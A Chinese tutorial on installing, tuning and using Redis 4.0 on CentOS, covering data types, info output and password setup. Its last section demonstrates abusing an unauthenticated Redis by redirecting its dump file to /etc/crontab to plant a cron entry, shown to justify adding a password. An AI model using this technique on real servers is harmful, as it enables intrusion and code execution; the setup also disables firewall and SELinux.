Redis4.0数据库(一):Redis4.0之持久化存储(上)

一,redis概述与实验环境说明

1.1 什么是redis

redis是一种内存型的NoSQL数据库,优点是快,常用来做缓存用
redis存储数据的方法是以key-value的形式
value类型支持字符串,列表,哈希等多种类型

1.2 环境说明

主机名IP用途
redis01 192.168.200.165 redis-master
  1. [root@Redis01 ~]# cat /etc/redhat-release
  2. CentOS Linux release 7.5.1804 (Core)
  3. [root@Redis01 ~]# uname -r
  4. 3.10.0-862.3.3.el7.x86_64
  5. [root@Redis01 ~]# systemctl stop firewalld
  6. [root@Redis01 ~]# systemctl disable firewalld
  7. [root@Redis01 ~]# setenforce 0
  8. setenforce: SELinux is disabled
  9. [root@Redis01 ~]# sestatus
  10. SELinux status: disabled

1.3 yum仓库使用技巧

  1. #查找一个命令出自哪个rpm包
  2. [root@Redis01 ~]# yum provides "*bin/ifconfig"
  3. net-tools-2.0-0.22.20131004git.el7.x86_64 : Basic networking tools
  4. base
  5. 匹配来源:
  6. 文件名 :/sbin/ifconfig
  7. [root@Redis01 ~]# yum provides "*bin/brctl"
  8. bridge-utils-1.5-9.el7.x86_64 : Utilities for configuring the linux ethernet bridge
  9. base
  10. 匹配来源:
  11. 文件名 :/usr/sbin/brctl
  12. [root@Redis01 ~]# yum provides "*bin/nslookup"
  13. 32:bind-utils-9.9.4-61.el7.x86_64 : Utilities for querying DNS name servers
  14. base
  15. 匹配来源:
  16. 文件名 :/usr/bin/nslookup

二,Redis服务器4.0版本源码编译安装

2.1 redis下载地址

https://redis.io/download

2.2 redis源码编译

  1. [root@Redis01 ~]# yum -y install wget gcc gcc-c++ make tar openssl openssl-devel cmake
  2. [root@Redis01 ~]# tar xf redis-4.0.11.tar.gz -C /usr/src/
  3. [root@Redis01 ~]# cd /usr/src/redis-4.0.11/
  4. [root@Redis01 redis-4.0.11]# make
  5. [root@Redis01 redis-4.0.11]# make MALLOC=jemalloc
  6. [root@Redis01 redis-4.0.11]# make PREFIX=/usr/local/redis install
  7. [root@Redis01 redis-4.0.11]# cd /usr/local/redis/
  8. [root@Redis01 redis]# ls
  9. bin
  10. [root@Redis01 redis]# mkdir -p /usr/local/redis/conf
  11. [root@Redis01 redis]# cp /usr/src/redis-4.0.11/redis.conf /usr/local/redis/conf/
  12. [root@Redis01 redis]# cp /usr/src/redis-4.0.11/sentinel.conf /usr/local/redis/conf/
  13. [root@Redis01 src]# ln -s /usr/local/redis/bin/* /usr/local/bin/
  14. [root@Redis01 src]# which redis-server
  15. /usr/local/bin/redis-server
  16. [root@Redis01 src]# redis-server --version #服务端连接命令
  17. Redis server v=4.0.11 sha=00000000:0 malloc=jemalloc-4.0.3 bits=64 build=feb84973011f5402
  18. [root@Redis01 src]# redis-cli --version #客户端连接命令
  19. redis-cli 4.0.11

三,Redis服务器启动和系统参数调整

3.1 简化redis配置文件

  1. [root@Redis01 redis]# pwd
  2. /usr/local/redis
  3. [root@Redis01 redis]# cp conf/redis.conf{,.bak}
  4. [root@Redis01 redis]# egrep -v "^$|^#" conf/redis.conf.bak > conf/redis.conf
  5. [root@Redis01 redis]# mkdir -p /data/redis/ #创建redis数据目录

3.2 更改redis配置文件/usr/local/redis/conf/redis.conf

  1. #修改redis配置文件以下参数
  2. [root@Redis01 redis]# cat -n conf/redis.conf | sed -n '1p;3p;4p;7p;9p;11p;21p'
  3. 1 bind 127.0.0.1
  4. 3 port 6379
  5. 4 tcp-backlog 511
  6. 7 daemonize no
  7. 9 pidfile /var/run/redis_6379.pid
  8. 11 logfile ""
  9. 21 dir ./
  10. #修改成以下设置
  11. [root@Redis01 redis]# cat -n conf/redis.conf | sed -n '1p;3p;4p;7p;9p;11p'
  12. 1 bind 0.0.0.0 #监听地址
  13. 3 port 6379 #监听端口
  14. 4 tcp-backlog 1024 #tcp连接数
  15. 7 daemonize yes #是否后台启动
  16. 9 pidfile /data/redis/redis.pid #pid存放目录
  17. 11 logfile "/data/redis/redis.log" #日志存放目录
  18. 21 dir /data/redis/ #工作目录

3.3 redis服务器启动和关闭

  1. #启动redis服务器
  2. [root@Redis01 ~]# redis-server /usr/local/redis/conf/redis.conf
  3. [root@Redis01 ~]# netstat -antup | grep redis
  4. tcp 0 0 0.0.0.0:6379 0.0.0.0:* LISTEN 18455/redis-server
  5. #关闭redis服务器
  6. [root@Redis01 ~]# redis-cli shutdown
  7. [root@Redis01 ~]# netstat -antup | grep redis
  8. #连接redis服务器
  9. [root@Redis01 ~]# redis-server /usr/local/redis/conf/redis.conf
  10. [root@Redis01 ~]# redis-cli -h 127.0.0.1
  11. 127.0.0.1:6379>
  12. 127.0.0.1:6379> exit

3.4 系统参数优化调整

  1. #启动redis以后,我们查看系统日志
  2. [root@Redis01 ~]# cat /data/redis/redis.log
  3. 18476:M 09 Aug 22:14:47.500 # User requested shutdown...
  4. 18476:M 09 Aug 22:14:47.500 * Saving the final RDB snapshot before exiting.
  5. 18476:M 09 Aug 22:14:47.502 * DB saved on disk
  6. 18476:M 09 Aug 22:14:47.502 * Removing the pid file.
  7. 18476:M 09 Aug 22:14:47.502 # Redis is now ready to exit, bye bye...
  8. 18483:C 09 Aug 22:14:50.394 # oO0OoO0OoO0Oo Redis is starting oO0OoO0OoO0Oo
  9. 18483:C 09 Aug 22:14:50.394 # Redis version=4.0.11, bits=64, commit=00000000, modified=0, pid=18483, just started
  10. 18483:C 09 Aug 22:14:50.394 # Configuration loaded
  11. 18484:M 09 Aug 22:14:50.395 * Increased maximum number of open files to 10032 (it was originally set to 1024). #警告提示1:系统文件描述符设置的太小了,才1024,我们最好设置到10032
  12. _._
  13. _.-``__ ''-._
  14. _.-`` `. `_. ''-._ Redis 4.0.11 (00000000/0) 64 bit
  15. .-`` .-```. ```\/ _.,_ ''-._
  16. ( ' , .-` | `, ) Running in standalone mode
  17. |`-._`-...-` __...-.``-._|'` _.-'| Port: 6379
  18. | `-._ `._ / _.-' | PID: 18484
  19. `-._ `-._ `-./ _.-' _.-'
  20. |`-._`-._ `-.__.-' _.-'_.-'|
  21. | `-._`-._ _.-'_.-' | http://redis.io
  22. `-._ `-._`-.__.-'_.-' _.-'
  23. |`-._`-._ `-.__.-' _.-'_.-'|
  24. | `-._`-._ _.-'_.-' |
  25. `-._ `-._`-.__.-'_.-' _.-'
  26. `-._ `-.__.-' _.-'
  27. `-._ _.-'
  28. `-.__.-'
  29. 18484:M 09 Aug 22:14:50.395 # WARNING: The TCP backlog setting of 511 cannot be enforced because /proc/sys/net/core/somaxconn is set to the lower value of 128.
  30. #警告提示2:对一个高负载的环境来说tcp设置128这个值,太小了。
  31. 18484:M 09 Aug 22:14:50.395 # Server initialized
  32. 18484:M 09 Aug 22:14:50.395 # WARNING overcommit_memory is set to 0! Background save may fail under low memory condition. To fix this issue add 'vm.overcommit_memory = 1' to /etc/sysctl.conf and then reboot or run the command 'sysctl vm.overcommit_memory=1' for this to take effect.
  33. #警告提示3:overcommit_memory=0为不允许超额抢占内存,但是,rdb保存可能会失败。建议将vm.overcommit_memory = 1进行修改
  34. 18484:M 09 Aug 22:14:50.395 # WARNING you have Transparent Huge Pages (THP) support enabled in your kernel. This will create latency and memory usage issues with Redis. To fix this issue run the command 'echo never > /sys/kernel/mm/transparent_hugepage/enabled' as root, and add it to your /etc/rc.local in order to retain the setting after a reboot. Redis must be restarted after THP is disabled.
  35. #警告提示4:你的内核中启用了巨大内存页的支持,这将与redis的延迟内存使用冲突。
  36. 18484:M 09 Aug 22:14:50.395 * DB loaded from disk: 0.000 seconds
  37. 18484:M 09 Aug 22:14:50.396 * Ready to accept connections

(1)调整系统文件描述符

  1. [root@Redis01 ~]# echo "* - nofile 10240" >> /etc/security/limits.conf
  2. [root@Redis01 ~]# tail -1 /etc/security/limits.conf
  3. * - nofile 10240
  4. #我们只要退出登陆一下即可生效
  5. [root@Redis01 ~]# exit
  6. [root@Redis01 ~]# ulimit -n
  7. 10240

(2)调整系统tcp连接数

  1. [root@Redis01 ~]# sysctl -a | grep soma
  2. sysctl: reading key "net.ipv6.conf.all.stable_secret"
  3. sysctl: reading key "net.ipv6.conf.default.stable_secret"
  4. sysctl: reading key "net.ipv6.conf.ens32.stable_secret"
  5. sysctl: reading key "net.ipv6.conf.lo.stable_secret"
  6. net.core.somaxconn = 128
  7. [root@Redis01 ~]# echo "net.core.somaxconn = 10240" >> /etc/sysctl.conf
  8. [root@Redis01 ~]# sysctl -p
  9. net.core.somaxconn = 10240

(3)调整系统内存分配策略

  1. [root@Redis01 ~]# echo "vm.overcommit_memory = 1" >> /etc/sysctl.conf
  2. [root@Redis01 ~]# tail -1 /etc/sysctl.conf
  3. vm.overcommit_memory = 1
  4. [root@Redis01 ~]# sysctl -p
  5. net.core.somaxconn = 10240
  6. vm.overcommit_memory = 1
  7. [root@Redis01 ~]# sysctl -a | grep commit
  8. sysctl: reading key "net.ipv6.conf.all.stable_secret"
  9. sysctl: reading key "net.ipv6.conf.default.stable_secret"
  10. sysctl: reading key "net.ipv6.conf.ens32.stable_secret"
  11. sysctl: reading key "net.ipv6.conf.lo.stable_secret"
  12. vm.nr_overcommit_hugepages = 0
  13. vm.overcommit_kbytes = 0
  14. vm.overcommit_memory = 1 #设置好了
  15. vm.overcommit_ratio = 50

(4)关闭系统内核的巨大内存页支持

  1. [root@Redis01 ~]# echo never > /sys/kernel/mm/transparent_hugepage/enabled
  2. [root@Redis01 ~]# cat /sys/kernel/mm/transparent_hugepage/enabled
  3. always madvise [never]
  4. [root@Redis01 ~]# echo never > /sys/kernel/mm/transparent_hugepage/defrag
  5. [root@Redis01 ~]# cat /sys/kernel/mm/transparent_hugepage/defrag
  6. always madvise [never]
  7. #添加到/etc/rc.local
  8. [root@Redis01 ~]# echo 'echo never > /sys/kernel/mm/transparent_hugepage/enabled' >> /etc/rc.local
  9. [root@Redis01 ~]# echo 'echo never > /sys/kernel/mm/transparent_hugepage/defrag' >> /etc/rc.local
  10. [root@Redis01 ~]# tail -2 /etc/rc.local
  11. echo never > /sys/kernel/mm/transparent_hugepage/enabled
  12. echo never > /sys/kernel/mm/transparent_hugepage/defrag

(5)重启redis-server验证修改

  1. #关闭redis
  2. [root@Redis01 ~]# redis-cli shutdown
  3. [root@Redis01 ~]# netstat -antup | grep redis
  4. [root@Redis01 ~]# > /data/redis/redis.log #清空日志
  5. #启动redis
  6. [root@Redis01 ~]# redis-server /usr/local/redis/conf/redis.conf
  7. [root@Redis01 ~]# cat /data/redis/redis.log
  8. 19449:C 09 Aug 22:49:36.027 # oO0OoO0OoO0Oo Redis is starting oO0OoO0OoO0Oo
  9. 19449:C 09 Aug 22:49:36.027 # Redis version=4.0.11, bits=64, commit=00000000, modified=0, pid=19449, just started
  10. 19449:C 09 Aug 22:49:36.027 # Configuration loaded
  11. _._
  12. _.-``__ ''-._
  13. _.-`` `. `_. ''-._ Redis 4.0.11 (00000000/0) 64 bit
  14. .-`` .-```. ```\/ _.,_ ''-._
  15. ( ' , .-` | `, ) Running in standalone mode
  16. |`-._`-...-` __...-.``-._|'` _.-'| Port: 6379
  17. | `-._ `._ / _.-' | PID: 19450
  18. `-._ `-._ `-./ _.-' _.-'
  19. |`-._`-._ `-.__.-' _.-'_.-'|
  20. | `-._`-._ _.-'_.-' | http://redis.io
  21. `-._ `-._`-.__.-'_.-' _.-'
  22. |`-._`-._ `-.__.-' _.-'_.-'|
  23. | `-._`-._ _.-'_.-' |
  24. `-._ `-._`-.__.-'_.-' _.-'
  25. `-._ `-.__.-' _.-'
  26. `-._ _.-'
  27. `-.__.-'
  28. 19450:M 09 Aug 22:49:36.029 # Server initialized
  29. 19450:M 09 Aug 22:49:36.029 * DB loaded from disk: 0.000 seconds
  30. 19450:M 09 Aug 22:49:36.029 * Ready to accept connections

四,Redis客户端使用和字符串简单操作

  • mysql命令用来跟MySQL服务器进行交互
  • redis-cli命令用来跟redis服务器进行交互

4.1 使用redis-cli客户端登陆redis-server

  1. [root@Redis01 ~]# redis-cli
  2. 127.0.0.1:6379> exit
  3. [root@Redis01 ~]# redis-cli -h localhost -p 6379
  4. localhost:6379> exit

4.2 redis字符串操作

  1. [root@Redis01 ~]# redis-cli
  2. 127.0.0.1:6379> set name Mr.chen #增加键(key)和值(value)
  3. OK
  4. 127.0.0.1:6379> get name #根据键获取值
  5. "Mr.chen"
  6. 127.0.0.1:6379> set name yunjisuan #修改键的值
  7. OK
  8. 127.0.0.1:6379> get name
  9. "yunjisuan"
  10. 127.0.0.1:6379> del name #删除,返回1代表删除成功
  11. (integer) 1
  12. 127.0.0.1:6379> GET name #命令不区分大小写
  13. (nil)
  14. 127.0.0.1:6379> set NAME test
  15. OK
  16. 127.0.0.1:6379> get name
  17. (nil)
  18. 127.0.0.1:6379> get NAME #key区分大小写
  19. "test"

4.3 非交互式操作redis服务器

  1. [root@Redis01 ~]# redis-cli set name welcome
  2. OK
  3. [root@Redis01 ~]# redis-cli get name
  4. "welcome"
  5. [root@Redis01 ~]# redis-cli del name
  6. (integer) 1
  7. [root@Redis01 ~]# redis-cli get name
  8. (nil)

五,Redis列表集合简单操作

redis的key都是字符串,value支持字符串,列表,集合等

5.1 redis列表的操作,有序的可重复的

列表就是有顺序的,可重复的一堆值的组合

  1. [root@Redis01 ~]# redis-cli
  2. 127.0.0.1:6379> lpush names yun1 #创建一个列表names,并从左边推入一个值yun1
  3. (integer) 1
  4. 127.0.0.1:6379> lpush names yun2 #向列表names左边推入一个值yun2
  5. (integer) 2
  6. 127.0.0.1:6379> lpush names yun3
  7. (integer) 3
  8. 127.0.0.1:6379> lpush names yun
  9. (integer) 4
  10. 127.0.0.1:6379> lpush names yun4
  11. (integer) 5
  12. 127.0.0.1:6379> lpush names yun5
  13. (integer) 6
  14. 127.0.0.1:6379> lrange names 0 -1 #查看列表names从索引0开始到结束所有的值
  15. 1) "yun5"
  16. 2) "yun4"
  17. 3) "yun"
  18. 4) "yun3"
  19. 5) "yun2"
  20. 6) "yun1"
  21. 127.0.0.1:6379> lrange names 0 1 #查看索引0和1的值
  22. 1) "yun5"
  23. 2) "yun4"
  24. 127.0.0.1:6379> lrange names 0 2
  25. 1) "yun5"
  26. 2) "yun4"
  27. 3) "yun"
  28. 127.0.0.1:6379> lrange names 0 0
  29. 1) "yun5"
  30. 127.0.0.1:6379> lrange names 0 5
  31. 1) "yun5"
  32. 2) "yun4"
  33. 3) "yun"
  34. 4) "yun3"
  35. 5) "yun2"
  36. 6) "yun1"
  37. 127.0.0.1:6379> lpush names yun
  38. (integer) 7
  39. 127.0.0.1:6379> lrange names 0 -1
  40. 1) "yun" #有两个yun
  41. 2) "yun5"
  42. 3) "yun4"
  43. 4) "yun" #有两个yun
  44. 5) "yun3"
  45. 6) "yun2"
  46. 7) "yun1"
  47. 127.0.0.1:6379> lrem names 1 yun #从左边数删除第一个yun
  48. (integer) 1
  49. 127.0.0.1:6379> lrange names 0 -1
  50. 1) "yun5"
  51. 2) "yun4"
  52. 3) "yun"
  53. 4) "yun3"
  54. 5) "yun2"
  55. 6) "yun1"
  56. 127.0.0.1:6379> lrem names 1 yun #从左边数删除第一个yun
  57. (integer) 1
  58. 127.0.0.1:6379> lrange names 0 -1
  59. 1) "yun5"
  60. 2) "yun4"
  61. 3) "yun3"
  62. 4) "yun2"
  63. 5) "yun1"
  64. 127.0.0.1:6379> lpush names yun #从列表的左边加入一个元素yun
  65. (integer) 6
  66. 127.0.0.1:6379> rpush names yun #从列表的右边加入一个元素yun
  67. (integer) 7
  68. 127.0.0.1:6379> lrange names 0 -1
  69. 1) "yun"
  70. 2) "yun5"
  71. 3) "yun4"
  72. 4) "yun3"
  73. 5) "yun2"
  74. 6) "yun1"
  75. 7) "yun"
  76. 127.0.0.1:6379> lrem names 0 yun #从列表的左边数删除所有的yun元素
  77. (integer) 2
  78. 127.0.0.1:6379> lrange names 0 -1
  79. 1) "yun5"
  80. 2) "yun4"
  81. 3) "yun3"
  82. 4) "yun2"
  83. 5) "yun1"
  84. 127.0.0.1:6379> lpop names #移除列表最左边的元素
  85. "yun5"
  86. 127.0.0.1:6379> lpop names
  87. "yun4"
  88. 127.0.0.1:6379> lpop names
  89. "yun3"
  90. 127.0.0.1:6379> lpop names
  91. "yun2"
  92. 127.0.0.1:6379> lpop names
  93. "yun1"
  94. 127.0.0.1:6379> rpop names #移除列表最右边的元素
  95. "yun1"
  96. 127.0.0.1:6379> rpop names
  97. "yun2"
  98. 127.0.0.1:6379> rpop names
  99. "yun3"
  100. 127.0.0.1:6379> lrange names 0 -1
  101. 1) "yun5"
  102. 2) "yun4"
  103. 127.0.0.1:6379> lset names 0 yun #修改列表左起第一个元素
  104. OK
  105. 127.0.0.1:6379> lrange names 0 -1
  106. 1) "yun"
  107. 2) "yun4"

5.2 redis集合的操作,无序的不重复的

集合就是不能重复的,无固定顺序的列表

  1. 27.0.0.1:6379> sadd ages 25 #向集合中添加元素
  2. (integer) 1
  3. 127.0.0.1:6379> sadd ages 30
  4. (integer) 1
  5. 127.0.0.1:6379> sadd ages 35
  6. (integer) 1
  7. 127.0.0.1:6379> sadd ages 40
  8. (integer) 1
  9. 127.0.0.1:6379> sadd ages 45
  10. (integer) 1
  11. 127.0.0.1:6379> sadd ages 50
  12. (integer) 1
  13. 127.0.0.1:6379> sadd ages 25 #失败,集合的元素具有唯一性
  14. (integer) 0
  15. 127.0.0.1:6379> smembers ages #查看集合里的元素
  16. 1) "25"
  17. 2) "30"
  18. 3) "35"
  19. 4) "40"
  20. 5) "45"
  21. 6) "50"
  22. 127.0.0.1:6379> srem ages 25 #移除即合里是25的元素
  23. (integer) 1
  24. 127.0.0.1:6379> spop ages #随机移除集合里的一个元素
  25. "35"
  26. 127.0.0.1:6379> smembers ages
  27. 1) "30"
  28. 2) "40"
  29. 3) "45"
  30. 4) "50"
  31. 127.0.0.1:6379> sismember ages 40 #查找集合里是否有40的元素
  32. (integer) 1
  33. 127.0.0.1:6379> sismember ages 40
  34. (integer) 1
  35. 127.0.0.1:6379> smembers ages
  36. 1) "30"
  37. 2) "40"
  38. 3) "45"
  39. 4) "50"

六,Redis的hash和订阅简单操作

6.1 redis的hash操作

hash就是可以存多个键值对的组合(类似python字典)

  1. 127.0.0.1:6379> hset info name 'yunjisuan' #增加一个hash
  2. (integer) 1
  3. 127.0.0.1:6379> hset info age 25
  4. (integer) 1
  5. 127.0.0.1:6379> hset info location 'beijing'
  6. (integer) 1
  7. 127.0.0.1:6379> hgetall info
  8. 1) "name"
  9. 2) "yunjisuan"
  10. 3) "age"
  11. 4) "25"
  12. 5) "location"
  13. 6) "beijing"
  14. 127.0.0.1:6379> hget info name
  15. "yunjisuan"
  16. 127.0.0.1:6379> hdel info name age
  17. (integer) 2
  18. 127.0.0.1:6379> hgetall info
  19. 1) "location"
  20. 2) "beijing"
  21. 127.0.0.1:6379> del info
  22. (integer) 1
  23. 127.0.0.1:6379> hmset info name 'yunjisuan' age 25 location 'beijing'
  24. OK
  25. 127.0.0.1:6379> hgetall info
  26. 1) "name"
  27. 2) "yunjisuan"
  28. 3) "age"
  29. 4) "25"
  30. 5) "location"
  31. 6) "beijing"

6.2 redis的订阅操作

  1. #开启redis的订阅功能
  2. [root@Redis01 ~]# redis-cli
  3. 127.0.0.1:6379> subscribe yunjisuan #开启频道名:yunjisuan的订阅功能,可开启多个窗口进行订阅
  4. Reading messages... (press Ctrl-C to quit)
  5. 1) "subscribe"
  6. 2) "yunjisuan"
  7. 3) (integer) 1
  8. #对频道进行内容推送
  9. [root@Redis01 ~]# redis-cli
  10. 127.0.0.1:6379> publish yunjisuan 'welcome' #向频道yunjisuan推送welcome
  11. (integer) 2 #推送成功的人数
  12. 127.0.0.1:6379> publish yunjisuan '很高兴'
  13. (integer) 2
  14. 127.0.0.1:6379> publish yunjisuan 'welcome'
  15. (integer) 3

七,使用Shell往Redis批量添加数据

(1)批量往redis server上插入数据

  1. [root@Redis01 ~]# for line in `seq -w 50`;do redis-cli set name_${line} value_${line};done

(2)查看key的情况

  1. 127.0.0.1:6379> keys * #查看所有key命令,不建议使用,上千万的key会使redis服务器堵塞
  2. 127.0.0.1:6379> randomkey #随机返回一个key
  3. "name_44"
  4. 127.0.0.1:6379> randomkey
  5. "name_01"
  6. 127.0.0.1:6379> scan 0 #分页查看key
  7. 1) "44"
  8. 2) 1) "name_34"
  9. 2) "name_13"
  10. 3) "name_15"
  11. 4) "name_39"
  12. 5) "name_42"
  13. 6) "names"
  14. 7) "name_18"
  15. 8) "name_43"
  16. 9) "name_32"
  17. 10) "name_50"

八,Redis服务器info状态信息查看

redis提供了一个info命令查看redis服务器的信息,类似Linux提供一个top命令查看系统的信息

  1. root@Redis01 ~]# redis-cli info
  2. # Server 服务器的信息
  3. redis_version:4.0.11 #redis服务器版本
  4. redis_git_sha1:00000000 #Git SHA1
  5. redis_git_dirty:0 #Git dirty flag
  6. redis_build_id:feb84973011f5402 #redis build id
  7. redis_mode:standalone #运行模式,单机或集群
  8. os:Linux 3.10.0-862.3.3.el7.x86_64 x86_64 #redis服务器宿主机操作系统
  9. arch_bits:64 #架构64位
  10. multiplexing_api:epoll #redis所使用的事件处理模型
  11. atomicvar_api:atomic-builtin
  12. gcc_version:4.8.5 #编译redis时gcc版本
  13. process_id:19450 #redis服务器进程的pid
  14. run_id:119ba49e27f25b118aaeb8829c60f32771906687 #redis服务器的随机标识符(sentinel和集群)
  15. tcp_port:6379 #redis服务器监听端口
  16. uptime_in_seconds:88667 #redis服务器启动总时间,单位秒
  17. uptime_in_days:1 #redis服务器启动总时间,单位天
  18. hz:10 #redis内部调度频率(关闭timeout客户端,删除过期key)
  19. lru_clock:7188187 #自增时间,用于LRU管理
  20. executable:/root/redis-server
  21. config_file:/usr/local/redis/conf/redis.conf #配置文件路径
  22. # Clients 已连接客户端信息
  23. connected_clients:1 #已经连接客户端数量(不包括slave连接的客户端)
  24. client_longest_output_list:0 #当前连接的客户端当中,最长的输出列表
  25. client_biggest_input_buf:0 #当前客户端当中,最大输入缓存。
  26. blocked_clients:0 #正在等待阻塞命令的客户端数量
  27. # Memory 内存信息
  28. used_memory:853016 #由redis分配器分配的内存总量,单位字节
  29. used_memory_human:833.02K #以可读方式返回redis已分配的内存总量
  30. used_memory_rss:2457600 #从操作系统角度,返回redis已分配内存总量
  31. used_memory_rss_human:2.34M #以可读方式返回redis已分配的内存总量
  32. used_memory_peak:931760 #redis的内存消耗峰值(以字节为单位)
  33. used_memory_peak_human:909.92K #以可读方式返回redis内存消耗峰值
  34. used_memory_peak_perc:91.55%
  35. used_memory_overhead:838934
  36. used_memory_startup:786592
  37. used_memory_dataset:14082
  38. used_memory_dataset_perc:21.20%
  39. total_system_memory:1021898752
  40. total_system_memory_human:974.56M
  41. used_memory_lua:37888 #lua引擎所使用的内存大小(单位字节)
  42. used_memory_lua_human:37.00K
  43. maxmemory:0
  44. maxmemory_human:0B
  45. maxmemory_policy:noeviction
  46. mem_fragmentation_ratio:2.88 #used_memory_rss和used_memory比率,小于1表示使用了swap,大于1表示碎片多,redis进行增加删除的动作,会引起内存碎片化
  47. mem_allocator:jemalloc-4.0.3 #编译时指定的redis的内存分配器。越好的分配器内存碎片化率越低,低版本建议升级
  48. active_defrag_running:0
  49. lazyfree_pending_objects:0
  50. # Persistence rdb和aof的持久化相关信息
  51. loading:0 #服务器是否正在载入持久化文件
  52. rdb_changes_since_last_save:0 #有多少个已经写入的命令还未被持久化
  53. rdb_bgsave_in_progress:0 #服务器是否正在创建rdb文件
  54. rdb_last_save_time:1533913162 #已经有多长时间没有进行持久化了
  55. rdb_last_bgsave_status:ok #最后一次的rdb持久化是否成功
  56. rdb_last_bgsave_time_sec:0 #最后一次生成rdb文件耗时秒数
  57. rdb_current_bgsave_time_sec:-1 #如果服务器正在创建rdb文件,那么当前这个记录就是创建操作耗时秒数
  58. rdb_last_cow_size:303104
  59. aof_enabled:0 #是否开启了aof
  60. aof_rewrite_in_progress:0 #标识aof的rewrite操作是否进行中
  61. aof_rewrite_scheduled:0
  62. aof_last_rewrite_time_sec:-1
  63. aof_current_rewrite_time_sec:-1
  64. aof_last_bgrewrite_status:ok #上次bgrewriteaof操作的状态
  65. aof_last_write_status:ok #上一次aof写入状态
  66. aof_last_cow_size:0
  67. # Stats 一般统计信息
  68. total_connections_received:129 #新创建的链接个数,如果过多,会影响性能
  69. total_commands_processed:226 #redis处理的命令数
  70. instantaneous_ops_per_sec:0 #redis当前的qps,redis内部较实时的每秒执行命令数
  71. total_net_input_bytes:8324 #redis网络入口流量字节数
  72. total_net_output_bytes:192093 #redis网络出口流量字节数
  73. instantaneous_input_kbps:0.00 #redis网络入口kps
  74. instantaneous_output_kbps:0.00 #redis网络出口kps
  75. rejected_connections:0 #拒绝的连接个数,redis连接个数已经达到maxclients限制。
  76. sync_full:0 #主从完全同步成功次数
  77. sync_partial_ok:0 #主从部分同步成功次数
  78. sync_partial_err:0 #主从部分同步失败次数
  79. expired_keys:0 #运行以来过期的key的数量
  80. expired_stale_perc:0.00
  81. expired_time_cap_reached_count:0
  82. evicted_keys:0 #运行以来剔除(超过maxmemory)的key的数量
  83. keyspace_hits:29 #命中次数
  84. keyspace_misses:3 #没命中次数
  85. pubsub_channels:0 #当前使用中的频道数量
  86. pubsub_patterns:0 #当前使用的模式数量
  87. latest_fork_usec:92
  88. migrate_cached_sockets:0
  89. slave_expires_tracked_keys:0
  90. active_defrag_hits:0
  91. active_defrag_misses:0
  92. active_defrag_key_hits:0
  93. active_defrag_key_misses:0
  94. # Replication 主从信息
  95. role:master
  96. connected_slaves:0
  97. master_replid:3a56d66723917199a5a86317dfecefda5588c0cc
  98. master_replid2:0000000000000000000000000000000000000000
  99. master_repl_offset:0 #主从同步偏移量(主从数据不一致)
  100. second_repl_offset:-1
  101. repl_backlog_active:0
  102. repl_backlog_size:1048576
  103. repl_backlog_first_byte_offset:0
  104. repl_backlog_histlen:0
  105. # CPU
  106. used_cpu_sys:16.81
  107. used_cpu_user:8.75
  108. used_cpu_sys_children:0.02
  109. used_cpu_user_children:0.00
  110. # Cluster 集群相关信息
  111. cluster_enabled:0
  112. # Keyspace 数据库相关信息
  113. db0:keys=55,expires=0,avg_ttl=0 #db0的key数量以及带有生存周期的key的个数,平均存活时间

九,Redis服务器加密和无密码攻击演示

redis无密码如果放在公网的话,会被攻击

9.1 给redis增加密码的两种方式

(1)通过redis配置文件增加密码

  1. #给配置文件增加密码参数
  2. [root@Redis01 ~]# echo 'requirepass "yunjisuan"' >> /usr/local/redis/conf/redis.conf
  3. [root@Redis01 ~]# tail -1 /usr/local/redis/conf/redis.conf
  4. requirepass "yunjisuan"
  5. [root@Redis01 ~]# redis-cli shutdown #重启redis
  6. [root@Redis01 ~]# netstat -antup | grep redis
  7. [root@Redis01 ~]# redis-server /usr/local/redis/conf/redis.conf
  8. [root@Redis01 ~]# redis-cli
  9. 127.0.0.1:6379> keys *
  10. (error) NOAUTH Authentication required. #需要验证才能查看,密码起作用了
  11. 127.0.0.1:6379> auth yunjisuan #通过auth 密码的方式进行验证
  12. OK
  13. 127.0.0.1:6379> set name benet
  14. OK
  15. #非交互式输入密码进行登录
  16. [root@Redis01 ~]# redis-cli -h 127.0.0.1 -p 6379 -a yunjisuan get name
  17. Warning: Using a password with '-a' option on the command line interface may not be safe.
  18. "benet"
  19. #警告:使用-a方式输入密码并不安全

(2)使用交互式的方式给redis增加密码(无需重启redis)

  1. #将之前在配置文件里设置的密码参数删除
  2. [root@Redis01 ~]# tail -1 /usr/local/redis/conf/redis.conf
  3. requirepass "yunjisuan"
  4. [root@Redis01 ~]# sed -i '$d' /usr/local/redis/conf/redis.conf
  5. [root@Redis01 ~]# tail -1 /usr/local/redis/conf/redis.conf
  6. aof-rewrite-incremental-fsync yes
  7. #重启redis-server
  8. [root@Redis01 ~]# redis-cli -a yunjisuan shutdown
  9. Warning: Using a password with '-a' option on the command line interface may not be safe.
  10. [root@Redis01 ~]# netstat -antup | grep redis
  11. [root@Redis01 ~]# redis-server /usr/local/redis/conf/redis.conf
  12. #交互式登陆redis设置密码
  13. [root@Redis01 ~]# redis-cli
  14. 127.0.0.1:6379> get name
  15. "benet"
  16. 127.0.0.1:6379> config get requirepass #获取redis配置的密码信息
  17. 1) "requirepass"
  18. 2) "" #此时密码空
  19. 127.0.0.1:6379> config set requirepass yunjisuan #给redis设置密码
  20. OK
  21. 127.0.0.1:6379> config get requirepass
  22. (error) NOAUTH Authentication required. #密码即时生效
  23. 127.0.0.1:6379> auth yunjisuan #进行密码验证
  24. OK
  25. 127.0.0.1:6379> config get requirepass #查看密码配置信息
  26. 1) "requirepass"
  27. 2) "yunjisuan" #有密码了
  28. 127.0.0.1:6379> config rewrite #将配置重写进行保存
  29. OK
  30. #查看redis配置文件最后两行
  31. [root@Redis01 ~]# tail -2 /usr/local/redis/conf/redis.conf
  32. # Generated by CONFIG REWRITE
  33. requirepass "yunjisuan" #增加了密码配置

9.2 入侵无密码redis服务器演示

  1. [root@Redis01 ~]# redis-cli -h 127.0.0.1 config set dir /etc/
  2. OK
  3. [root@Redis01 ~]# redis-cli -h 127.0.0.1 config set dbfilename "crontab"
  4. OK
  5. [root@Redis01 ~]# echo "* * * * * root echo 'attack'" >> /tmp/attack
  6. [root@Redis01 ~]# cat /tmp/attack #这个文件内容上下必须各有两个回车
  7. * * * * * root echo 'attack'
  8. [root@Redis01 ~]# cat /tmp/attack | redis-cli -h 127.0.0.1 -x set attack
  9. OK
  10. [root@Redis01 ~]# redis-cli -h 127.0.0.1 save
  11. OK
  12. #查看/etc/crontab文件
  13. [root@Redis01 ~]# cat /etc/crontab
  14. REDIS0008 redis-ver4.0.11
  15. redis-bits󿿀򳨭eêɭused-mem¨
  16. aof-preamble~𭠭e_2value_21
